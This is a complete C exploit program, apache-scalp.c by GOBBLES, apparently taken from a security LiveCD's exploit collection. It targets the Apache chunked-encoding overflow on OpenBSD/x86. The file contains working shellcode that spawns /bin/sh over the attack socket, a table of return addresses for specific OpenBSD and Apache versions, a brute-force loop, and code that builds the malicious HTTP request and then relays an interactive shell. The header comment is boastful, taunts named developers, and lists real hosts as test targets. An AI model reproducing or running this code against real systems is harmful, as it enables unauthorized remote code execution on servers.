Chip 2007 January, February, March & April/Chip-Cover-CD-2007-02.iso/Pakiet bezpieczenstwa/mini Pentoo LiveCD 2006.1/mpentoo-2006.1.iso/livecd.squashfs/opt/pentoo/ExploitTree/application/webserver/apache/apache-scalp.c

C/C++ Source or Header | 2005-02-12 | 11KB | 365 lines

/*
 * apache-scalp.c
 * OPENBSD/X86 APACHE REMOTE EXPLOIT!!!!!!!
 *
 * ROBUST, RELIABLE, USER-FRIENDLY MOTHERFUCKING 0DAY WAREZ!
 *
 * BLING! BLING! --- BRUTE FORCE CAPABILITIES --- BLING! BLING!
 *
 * ". . . and Doug Sniff said it was a hole in Epic."
 *
 * ---
 * Disarm you with a smile
 * And leave you like they left me here
 * To wither in denial
 * The bitterness of one who's left alone
 * ---
 *
 * Remote OpenBSD/Apache exploit for the "chunking" vulnerability. Kudos to
 * the OpenBSD developers (Theo, DugSong, jnathan, *@#!w00w00, ...) and
 * their crappy memcpy implementation that makes this 32-bit impossibility
 * very easy to accomplish. This vulnerability was recently rediscovered by a slew
 * of researchers.
 *
 * The "experts" have already concurred that this bug...
 *      -       Can not be exploited on 32-bit *nix variants
 *      -       Is only exploitable on win32 platforms
 *      -       Is only exploitable on certain 64-bit systems
 *
 * However, contrary to what ISS would have you believe, we have
 * successfully exploited this hole on the following operating systems:
 *
 *      Sun Solaris 6-8 (sparc/x86)
 *      FreeBSD 4.3-4.5 (x86)
 *      OpenBSD 2.6-3.1 (x86)
 *      Linux (GNU) 2.4 (x86)
 *
 * Don't get discouraged too quickly in your own research. It took us close
 * to two months to be able to exploit each of the above operating systems.
 * There is a peculiarity to be found for each operating system that makes the
 * exploitation possible.
 *
 * Don't email us asking for technical help or begging for warez. We are
 * busy working on many other wonderful things, including other remotely
 * exploitable holes in Apache. Perhaps The Great Pr0ix would like to inform
 * the community that those holes don't exist? We wonder who's paying her.
 *
 * This code is an early version from when we first began researching the
 * vulnerability. It should spawn a shell on any unpatched OpenBSD system
 * running the Apache webserver.
 *
 * We appreciate The Blue Boar's effort to allow us to post to his mailing
 * list once again. Because he finally allowed us to post, we now have this
 * very humble offering.
 *
 * This is a very serious vulnerability. After disclosing this exploit, we
 * hope to have gained immense fame and glory.
 *
 * Testbeds: synnergy.net, monkey.org, 9mm.com
 *
 * Abusing the right syscalls, any exploit against OpenBSD == root. Kernel
 * bugs are great.
 *
 * [#!GOBBLES QUOTES]
 *
 * --- you just know 28923034839303 admins out there running
 *     OpenBSD/Apache are going "ugh..not exploitable..ill do it after the
 *     weekend"
 * --- "Five years without a remote hole in the default install". default
 *      package = kernel. if theo knew that talkd was exploitable, he'd cry.
 * --- so funny how apache.org claims it's impossible to exploit this.
 * --- how many times were we told, "ANTISEC IS NOT FOR YOU" ?
 * --- I hope Theo doesn't kill himself
 * --- heh, this is a middle finger to all those open source, anti-"m$"
 *     idiots... slashdot hippies...
 * --- they rushed to release this exploit so they could update their ISS
 *     scanner to have a module for this vulnerability, but it doesnt even
 *     work... it's just looking for win32 apache versions
 * --- no one took us seriously when we mentioned this last year. we warned
 *     them that moderation == no pie.
 * --- now try it against synnergy :>
 * --- ANOTHER BUG BITE THE DUST... VROOOOM VRRRRRRROOOOOOOOOM
 *
 * xxxx  this thing is a major exploit. do you really wanna publish it?
 * oooo  i'm not afraid of whitehats
 * xxxx  the blackhats will kill you for posting that exploit
 * oooo  blackhats are a myth
 * oooo  so i'm not worried
 * oooo  i've never seen one
 * oooo  i guess it's sort of like having god in your life
 * oooo  i don't believe there's a god
 * oooo  but if i sat down and met him
 * oooo  i wouldn't walk away thinking
 * oooo  "that was one hell of a special effect"
 * oooo  so i suppose there very well could be a blackhat somewhere
 * oooo  but i doubt it... i've seen whitehat-blackhats with their ethics
 *       and deep philosophy...
 *
 * [GOBBLES POSERS/WANNABES]
 *
 * --- #!GOBBLES@EFNET (none of us join here, but we've sniffed it)
 * --- [e-mail] (low-level.net)
 *
 * GOBBLES Security
 * [e-mail]
 * http://www.bugtraq.org
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/time.h>
#include <signal.h>


#define EXPLOIT_TIMEOUT        5    /* num seconds to wait before assuming it failed */
#define RET_ADDR_INC        512


#define MEMCPY_s1_OWADDR_DELTA    -146
#define PADSIZE_1        4
#define PADSIZE_2         5
#define PADSIZE_3        7


#define REP_POPULATOR        24
#define REP_RET_ADDR        6
#define REP_ZERO        36
#define REP_SHELLCODE        24
#define NOPCOUNT        1024

#define NOP            0x41
#define PADDING_1        'A'
#define PADDING_2        'B'
#define PADDING_3        'C'

#define PUT_STRING(s)        memcpy(p, s, strlen(s)); p += strlen(s);
#define PUT_BYTES(n, b)        memset(p, b, n); p += n;

#define SHELLCODE_LOCALPORT_OFF 30

char shellcode[] =
  "\x89\xe2\x83\xec\x10\x6a\x10\x54\x52\x6a\x00\x6a\x00\xb8\x1f"
  "\x00\x00\x00\xcd\x80\x80\x7a\x01\x02\x75\x0b\x66\x81\x7a\x02"
  "\x42\x41\x75\x03\xeb\x0f\x90\xff\x44\x24\x04\x81\x7c\x24\x04"
  "\x00\x01\x00\x00\x75\xda\xc7\x44\x24\x08\x00\x00\x00\x00\xb8"
  "\x5a\x00\x00\x00\xcd\x80\xff\x44\x24\x08\x83\x7c\x24\x08\x03"
  "\x75\xee\x68\x0b\x6f\x6b\x0b\x81\x34\x24\x01\x00\x00\x01\x89"
  "\xe2\x6a\x04\x52\x6a\x01\x6a\x00\xb8\x04\x00\x00\x00\xcd\x80"
  "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50"
  "\x52\x89\xe1\x50\x51\x52\x50\xb8\x3b\x00\x00\x00\xcd\x80\xcc";


struct {
    char *type;
    u_long retaddr;
} targets[] = {    // hehe, yes theo, that say OpenBSD here!
    { "OpenBSD 3.0 x86 / Apache 1.3.20",    0xcf92f },
    { "OpenBSD 3.0 x86 / Apache 1.3.22",    0x8f0aa },
    { "OpenBSD 3.0 x86 / Apache 1.3.24",    0x90600 },
    { "OpenBSD 3.1 x86 / Apache 1.3.20",    0x8f2a6 },
    { "OpenBSD 3.1 x86 / Apache 1.3.23",    0x90600 },
    { "OpenBSD 3.1 x86 / Apache 1.3.24",    0x9011a },
    { "OpenBSD 3.1 x86 / Apache 1.3.24 #2",    0x932ae },
};


int main(int argc, char *argv[]) {

    char           *hostp, *portp;
    unsigned char   buf[512], *expbuf, *p;
    int             i, j, lport;
    int             sock;
    int             bruteforce, owned, progress;
    u_long          retaddr;
    struct sockaddr_in sin, from;


    if(argc != 3) {
        printf("Usage: %s <target#|base address> <ip[:port]>\n", argv[0]);
        printf("  Using targets:\t./apache-scalp 3 127.0.0.1:8080\n");
        printf("  Using bruteforce:\t./apache-scalp 0x8f000 127.0.0.1:8080\n");
        printf("\n--- --- - Potential targets list - --- ----\n");
        printf("Target ID / Target specification\n");
        for(i = 0; i < sizeof(targets)/8; i++)
            printf("\t%d / %s\n", i, targets[i].type);

        return -1;
    }


    hostp = strtok(argv[2], ":");
    if((portp = strtok(NULL, ":")) == NULL)
        portp = "80";

    retaddr = strtoul(argv[1], NULL, 16);
    if(retaddr < sizeof(targets)/8) {
        retaddr = targets[retaddr].retaddr;
        bruteforce = 0;
    }
    else
        bruteforce = 1;


    srand(getpid());
    signal(SIGPIPE, SIG_IGN);
    for(owned = 0, progress = 0;;retaddr += RET_ADDR_INC) {

        /* skip invalid return adresses */
        i = retaddr & 0xff;
        if(i == 0x0a || i == 0x0d)
            retaddr++;
        else if(memchr(&retaddr, 0x0a, 4) || memchr(&retaddr, 0x0d, 4))
            continue;


        sock = socket(AF_INET, SOCK_STREAM, 0);
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr(hostp);
        sin.sin_port = htons(atoi(portp));
        if(!progress)
            printf("\n[*] Connecting.. ");

        fflush(stdout);
        if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) {
            perror("connect()");
            exit(1);
        }

        if(!progress)
            printf("connected!\n");


        /* Setup the local port in our shellcode */
        i = sizeof(from);
        if(getsockname(sock, (struct sockaddr *) & from, &i) != 0) {
            perror("getsockname()");
            exit(1);
        }

        lport = ntohs(from.sin_port);
        shellcode[SHELLCODE_LOCALPORT_OFF + 1] = lport & 0xff;
        shellcode[SHELLCODE_LOCALPORT_OFF + 0] = (lport >> 8) & 0xff;


        p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) * REP_SHELLCODE)
                    + ((PADSIZE_1 + (REP_RET_ADDR * 4) + REP_ZERO + 1024) * REP_POPULATOR));

        PUT_STRING("GET / HTTP/1.1\r\nHost: apache-scalp.c\r\n");

        for (i = 0; i < REP_SHELLCODE; i++) {
            PUT_STRING("X-");
            PUT_BYTES(PADSIZE_3, PADDING_3);
            PUT_STRING(": ");
            PUT_BYTES(NOPCOUNT, NOP);
            memcpy(p, shellcode, sizeof(shellcode) - 1);
            p += sizeof(shellcode) - 1;
            PUT_STRING("\r\n");
        }

        for (i = 0; i < REP_POPULATOR; i++) {
            PUT_STRING("X-");
            PUT_BYTES(PADSIZE_1, PADDING_1);
            PUT_STRING(": ");
            for (j = 0; j < REP_RET_ADDR; j++) {
                *p++ = retaddr & 0xff;
                *p++ = (retaddr >> 8) & 0xff;
                *p++ = (retaddr >> 16) & 0xff;
                *p++ = (retaddr >> 24) & 0xff;
            }

            PUT_BYTES(REP_ZERO, 0);
            PUT_STRING("\r\n");
        }

        PUT_STRING("Transfer-Encoding: chunked\r\n");
        snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", PADSIZE_2);
        PUT_STRING(buf);
        PUT_BYTES(PADSIZE_2, PADDING_2);
        snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", MEMCPY_s1_OWADDR_DELTA);
        PUT_STRING(buf);

        write(sock, expbuf, p - expbuf);

        progress++;
        if((progress%70) == 0)
            progress = 1;

        if(progress == 1) {
            memset(buf, 0, sizeof(buf));
            sprintf(buf, "\r[*] Currently using retaddr 0x%lx, length %u, localport %u",
                retaddr, (unsigned int)(p - expbuf), lport);
            memset(buf + strlen(buf), ' ', 74 - strlen(buf));
            puts(buf);
            if(bruteforce)
                putchar(';');
        }
        else
            putchar((rand()%2)? 'P': 'p');


        fflush(stdout);
        while (1) {
            fd_set          fds;
            int             n;
            struct timeval  tv;

            tv.tv_sec = EXPLOIT_TIMEOUT;
            tv.tv_usec = 0;

            FD_ZERO(&fds);
            FD_SET(0, &fds);
            FD_SET(sock, &fds);

            memset(buf, 0, sizeof(buf));
            if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) {
                if(FD_ISSET(sock, &fds)) {
                    if((n = read(sock, buf, sizeof(buf) - 1)) <= 0)
                        break;

                    if(!owned && n >= 4 && memcmp(buf, "\nok\n", 4) == 0) {
                        printf("\nGOBBLE GOBBLE!@#%%)*#\n");
                        printf("retaddr 0x%lx did the trick!\n", retaddr);
                        sprintf(expbuf, "uname -a;id;echo hehe, now use 0day OpenBSD local kernel exploit to gain instant r00t\n");
                        write(sock, expbuf, strlen(expbuf));
                        owned++;
                    }

                    write(1, buf, n);
                }

                if(FD_ISSET(0, &fds)) {
                    if((n = read(0, buf, sizeof(buf) - 1)) < 0)
                        exit(1);

                    write(sock, buf, n);
                }
            }

            if(!owned)
                break;
        }

        free(expbuf);
        close(sock);

        if(owned)
            return 0;

        if(!bruteforce) {
            fprintf(stderr, "Ooops.. hehehe!\n");
            return -1;
        }
    }

    return 0;
}